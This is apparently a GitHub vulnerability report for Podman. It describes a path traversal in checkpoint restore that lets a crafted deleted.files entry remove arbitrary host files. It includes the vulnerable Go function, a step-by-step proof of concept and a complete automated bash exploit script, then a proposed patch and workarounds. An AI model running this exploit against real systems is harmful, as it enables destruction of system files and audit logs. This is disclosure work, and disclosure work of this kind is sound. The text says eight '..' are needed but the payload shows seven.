-
Notifications
You must be signed in to change notification settings - Fork 3k
Description
Issue Description
Summary
A path traversal vulnerability exists in Podman's checkpoint/restore functionality that allows an attacker to delete arbitrary files on the host system by crafting a malicious checkpoint archive. The vulnerability is caused by insufficient path validation in the CRRemoveDeletedFiles function, which processes the deleted.files list from checkpoint archives without properly sanitizing path traversal sequences (..).
Impact
Attack Scenario
An attacker with the ability to provide a checkpoint archive (e.g., through social engineering, compromised CI/CD pipelines, or untrusted checkpoint sources) can:
- Delete critical system files (
/etc/passwd,/etc/shadow,/boot/*) - Delete application data (
/var/lib/mysql,/var/www/html) - Delete container runtime data (
/var/lib/containers,/var/lib/docker) - Delete audit logs (
/var/log/audit) - Cause denial of service by deleting essential system components
Technical Details
Vulnerability Location
File: pkg/checkpoint/crutils/checkpoint_restore_utils.go
Function: CRRemoveDeletedFiles
Lines: 87-92
Vulnerable Code
func CRRemoveDeletedFiles(id, baseDirectory, containerRootDirectory string) error {
deletedFiles, _, err := metadata.ReadContainerCheckpointDeletedFiles(baseDirectory)
if os.IsNotExist(err) {
return nil
}
if err != nil {
return fmt.Errorf("failed to read deleted files file: %w", err)
}
for _, deleteFile := range deletedFiles {
// VULNERABILITY: No path validation!
// filepath.Join cleans the path but does NOT prevent .. traversal
if err := os.RemoveAll(filepath.Join(containerRootDirectory, deleteFile)); err != nil {
return fmt.Errorf("failed to delete files from container %s during restore: %w", id, err)
}
}
return nil
}Root Cause
- No Path Validation: The function does not validate that the final path remains within the container root directory
- Path Traversal: While
filepath.Joincleans the path, it does NOT prevent..sequences from escaping the container root - Unrestricted Deletion:
os.RemoveAllis called directly on the constructed path without boundary checks
Call Chain
podman container restore
└─> libpod/container_internal_common.go:1842
└─> crutils.CRRemoveDeletedFiles(c.ID(), c.bundlePath(), c.state.Mountpoint)
└─> os.RemoveAll(filepath.Join(containerRootDirectory, deleteFile))
Exploitation Mechanism
The vulnerability exploits Go's filepath.Join behavior:
containerRoot := "/var/lib/containers/storage/overlay/<hash>/merged" // 7 levels deep
maliciousPath := "../../../../../../../tmp/target.txt" // 8 levels of ..
result := filepath.Join(containerRoot, maliciousPath)
// Result: "/tmp/target.txt" - Successfully escaped container root!
os.RemoveAll(result) // Deletes /tmp/target.txt on host systemKey Insight: The container mount point is typically 7 directory levels deep. Using 8 .. sequences reaches the root directory (/), allowing access to any file on the host system.
Steps to reproduce the issue
Proof of Concept
Prerequisites
- Ubuntu 20.04+ (tested on Ubuntu 24.04 LTS)
- Podman 4.9.3+ with checkpoint/restore support
- CRIU 4.2+
- Root or sudo privileges
Step-by-Step Reproduction
Step 1: Environment Setup
# Install Podman
sudo apt-get update
sudo apt-get install -y podman
# Install CRIU dependencies
sudo apt-get install -y build-essential pkg-config libprotobuf-dev \
libprotobuf-c-dev protobuf-c-compiler protobuf-compiler \
python3-protobuf libnl-3-dev libnet-dev libcap-dev \
git uuid-dev libaio-dev python3-yaml
# Build and install CRIU
cd /tmp
git clone https://github.com/checkpoint-restore/criu.git
cd criu
make
sudo make install-criu
# Verify installation
podman --version # Should output: podman version 4.9.3
criu --version # Should output: Version: 4.2Step 2: Create Target File (Victim)
# Create a file that will be deleted by the exploit
echo "SENSITIVE_DATA_$(date +%s)" > /tmp/victim_file.txt
cat /tmp/victim_file.txt
ls -la /tmp/victim_file.txtExpected Output:
SENSITIVE_DATA_1769617820
-rw-rw-r-- 1 ubuntu ubuntu 29 Jan 29 00:30 /tmp/victim_file.txt
Step 3: Create Container and Export Checkpoint
# Create a test container
sudo podman run -d --name exploit-test alpine sleep 3600
# Verify container is running
sudo podman ps | grep exploit-test
# Get container mount point and calculate depth
MOUNT_POINT=$(sudo podman mount exploit-test)
echo "Mount point: $MOUNT_POINT"
DEPTH=$(echo "$MOUNT_POINT" | tr '/' '\n' | grep -v '^$' | wc -l)
echo "Directory depth: $DEPTH"
echo "Required .. count: $((DEPTH+1))"
# Export checkpoint
sudo podman container checkpoint exploit-test -e /tmp/checkpoint.tar.gz
ls -lh /tmp/checkpoint.tar.gzExpected Output:
Mount point: /var/lib/containers/storage/overlay/08989d679ebb420eade2ddf4eaef0ce33c47569f98d1be22deedfc6c51575d1d/merged
Directory depth: 7
Required .. count: 8
-rw------- 1 root root 29K Jan 29 00:31 /tmp/checkpoint.tar.gz
Step 4: Craft Malicious Checkpoint
# Extract checkpoint
mkdir /tmp/malicious
cd /tmp/malicious
sudo tar -I zstd -xf /tmp/checkpoint.tar.gz
# View checkpoint structure
ls -la
# Create malicious deleted.files
# Use 8 .. sequences to escape the 7-level deep container root
echo '["../../../../../../../tmp/victim_file.txt"]' | sudo tee deleted.files
# Verify malicious payload
cat deleted.files
# Repackage malicious checkpoint
sudo tar -I zstd -cf /tmp/malicious-checkpoint.tar.gz *
ls -lh /tmp/malicious-checkpoint.tar.gzExpected Output:
drwxr-xr-x 4 root root 4096 Jan 29 00:31 .
drwxrwxrwt 19 root root 36864 Jan 29 00:31 ..
drwxr-xr-x 2 root root 4096 Jan 29 00:30 artifacts
drw------- 2 root root 4096 Jan 29 00:31 checkpoint
-rw------- 1 root root 22888 Jan 29 00:31 config.dump
-rw-r--r-- 1 root root 1536 Jan 29 00:31 devshm-checkpoint.tar
-rw------- 1 root root 242 Jan 29 00:31 network.status
-rw------- 1 root root 20708 Jan 29 00:31 spec.dump
-rw-r--r-- 1 root root 47 Jan 29 00:31 stats-dump
["../../../../../../../tmp/victim_file.txt"]
-rw-r--r-- 1 root root 29K Jan 29 00:31 /tmp/malicious-checkpoint.tar.gz
Step 5: Execute Exploit
# Verify target file exists BEFORE attack
echo "=== BEFORE ATTACK ==="
ls -la /tmp/victim_file.txt
cat /tmp/victim_file.txt
# Execute exploit: restore from malicious checkpoint
sudo podman rm -f exploit-test
sudo podman container restore -i /tmp/malicious-checkpoint.tar.gz
# Verify target file is DELETED AFTER attack
echo "=== AFTER ATTACK ==="
ls -la /tmp/victim_file.txt 2>&1 || echo "🚨 FILE DELETED - EXPLOIT SUCCESSFUL!"Expected Output:
=== BEFORE ATTACK ===
-rw-rw-r-- 1 ubuntu ubuntu 29 Jan 29 00:30 /tmp/victim_file.txt
SENSITIVE_DATA_1769617820
=== AFTER ATTACK ===
ls: cannot access '/tmp/victim_file.txt': No such file or directory
🚨 FILE DELETED - EXPLOIT SUCCESSFUL!
Automated Exploit Script
#!/bin/bash
# Automated PoC for Podman Path Traversal Vulnerability
set -e
echo "=== Podman Path Traversal Exploit PoC ==="
# Check root privileges
if [ "$EUID" -ne 0 ]; then
echo "Error: This script requires root privileges"
exit 1
fi
# Create victim file
VICTIM_FILE="/tmp/victim_$(date +%s).txt"
echo "SENSITIVE_DATA" > "$VICTIM_FILE"
echo "[+] Created victim file: $VICTIM_FILE"
# Create container
podman run -d --name poc-exploit alpine sleep 3600 > /dev/null
echo "[+] Created container: poc-exploit"
# Get mount point depth
MOUNT_POINT=$(podman mount poc-exploit)
DEPTH=$(echo "$MOUNT_POINT" | tr '/' '\n' | grep -v '^$' | wc -l)
echo "[+] Container depth: $DEPTH (need $((DEPTH+1)) .. sequences)"
# Export checkpoint
podman container checkpoint poc-exploit -e /tmp/poc-checkpoint.tar.gz > /dev/null
echo "[+] Exported checkpoint"
# Craft malicious checkpoint
mkdir -p /tmp/poc-malicious
cd /tmp/poc-malicious
tar -I zstd -xf /tmp/poc-checkpoint.tar.gz 2>/dev/null
# Build traversal path
TRAVERSAL=""
for i in $(seq 1 $((DEPTH+1))); do
TRAVERSAL="${TRAVERSAL}../"
done
TRAVERSAL="${TRAVERSAL}tmp/$(basename $VICTIM_FILE)"
echo "[\"$TRAVERSAL\"]" > deleted.files
echo "[+] Created malicious deleted.files: $TRAVERSAL"
tar -I zstd -cf /tmp/poc-malicious-checkpoint.tar.gz * 2>/dev/null
echo "[+] Repackaged malicious checkpoint"
# Execute exploit
echo "[*] Executing exploit..."
podman rm -f poc-exploit > /dev/null 2>&1
podman container restore -i /tmp/poc-malicious-checkpoint.tar.gz > /dev/null 2>&1
# Verify
if [ ! -f "$VICTIM_FILE" ]; then
echo "[!] EXPLOIT SUCCESSFUL - File deleted: $VICTIM_FILE"
exit 0
else
echo "[-] Exploit failed - File still exists"
exit 1
fiDescribe the results you received
Just list ad above.
Describe the results you expected
Just list ad above.
podman info output
Just list ad above.Podman in a container
No
Privileged Or Rootless
None
Upstream Latest Release
Yes
Additional environment details
Additional environment details
Additional information
Remediation
Recommended Fix
Apply the following patch to pkg/checkpoint/crutils/checkpoint_restore_utils.go:
func CRRemoveDeletedFiles(id, baseDirectory, containerRootDirectory string) error {
deletedFiles, _, err := metadata.ReadContainerCheckpointDeletedFiles(baseDirectory)
if os.IsNotExist(err) {
return nil
}
if err != nil {
return fmt.Errorf("failed to read deleted files file: %w", err)
}
// Get absolute path of container root
absContainerRoot, err := filepath.Abs(containerRootDirectory)
if err != nil {
return fmt.Errorf("failed to get absolute path: %w", err)
}
for _, deleteFile := range deletedFiles {
// Remove leading slash to ensure relative path joining
cleanPath := strings.TrimPrefix(deleteFile, "/")
targetPath := filepath.Join(absContainerRoot, cleanPath)
// Resolve to absolute path
absTarget, err := filepath.Abs(targetPath)
if err != nil {
return fmt.Errorf("failed to resolve path: %w", err)
}
// SECURITY CHECK: Ensure target path is within container root
if !strings.HasPrefix(absTarget, absContainerRoot+string(os.PathSeparator)) {
logrus.Warnf("Path traversal detected: %s escapes container root", deleteFile)
continue // Skip dangerous paths
}
if err := os.RemoveAll(absTarget); err != nil {
return fmt.Errorf("failed to delete files: %w", err)
}
}
return nil
}Workarounds
Until a patch is available:
- Validate Checkpoint Sources: Only restore checkpoints from trusted sources
- Inspect Checkpoints: Manually inspect
deleted.filesbefore restoring:tar -I zstd -xf checkpoint.tar.gz deleted.files cat deleted.files
- Restrict Permissions: Limit who can execute
podman container restore - Use SELinux: Enable SELinux in enforcing mode to add an additional security layer